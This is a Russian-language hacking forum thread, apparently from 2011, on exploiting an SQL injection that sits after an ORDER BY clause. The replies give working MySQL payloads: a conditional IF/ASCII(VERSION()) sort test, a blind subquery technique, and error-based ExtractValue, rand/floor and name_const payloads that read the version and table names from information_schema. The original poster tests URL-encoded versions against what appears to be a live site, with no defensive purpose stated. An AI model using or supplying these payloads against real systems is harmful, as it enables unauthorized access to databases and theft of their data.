PDA

Просмотр полной версии : ORDER BY ID $SQL Инъекция


XAMEHA
02.05.2011, 16:42
Как можно раскрутить инъекцию при таком запросе? Работал с разными случиями, но такого не встречал.


PHP:
SELECT*FROM news ORDER BY ID $SQL

Известна структура таблицы. Все поля кроме ID - tinytext, и ещё одно INT, но оно у всех одинаковое.

lukmus
02.05.2011, 17:06
может я не до конца понил, не пробывал, чисто первое что пришло на ум:


Code:
SELECT * FROM news ORDER BY ID, IF(ASCII(VERSION())>32,1,2)

соответсвенно выдача по идее должна быть разная, если ascii(version())>32, то сортировка по 1-му полю, если нет то по второму.

P.S. возможно это бред, пишу в состоянии опьянения, близко к сердцу не воспринимать

Expl0ited
02.05.2011, 17:13
Если вывод ошибки есть, то можно вполне крутить как еррор бейсед, если вывода нет то как слепую.

Вот примеры с рдота:


Code:
Инъекция после order by

Слепая (more than 1 row)
script.php?par=(select if(substring(version(),1,1)=4,1,(select 1 union select 2)))

В ошибке
(ExtractValue)
script.php?par=id,ExtractValue(1,concat(0x5c,(sele ct table_name from information_schema.tables limit 1)))--
(rand)
script.php?par=(select 1 from (select count(0),concat((select version()),floor(rand(0)*2)) from information_schema.tables group by 2 limit 1)a)--
(name_const)
script.php?par=(select*from(select name_const(version(),1),name_const(version(),1))a)

XAMEHA
02.05.2011, 19:22
Если бы был вывод ошибки я б и сам разобрался. Тут нет.


lukmus said:
может я не до конца понил, не пробывал, чисто первое что пришло на ум:

Code:
SELECT * FROM news ORDER BY ID, IF(ASCII(VERSION())>32,1,2)

соответсвенно выдача по идее должна быть разная, если ascii(version())>32, то сортировка по 1-му полю, если нет то по второму.
P.S. возможно это бред, пишу в состоянии опьянения, близко к сердцу не воспринимать


Вывод есть в любом случае и так:


PHP:
,%20IF%28ASCII%28VERSION%28%29%29%3E32,1,2%29

И так:


PHP:
,%20IF%28ASCII%28VERSION%28%29%29%3E100000,1,2%29

И так:


PHP:
,%20IF%28ASCII%28VERSION%28%29%29%3E1,1,2%29

Что предпринимать, не знаю.


PHP:
,%28select%20if%28substring%28version%28%29,1,1%29 =4,1,%28select%201%20union%20select%202%29%29%29

Этот вариант вроде работает, когда 4 изменяю на 5 - выводит информацию. буду крутить, спасибо.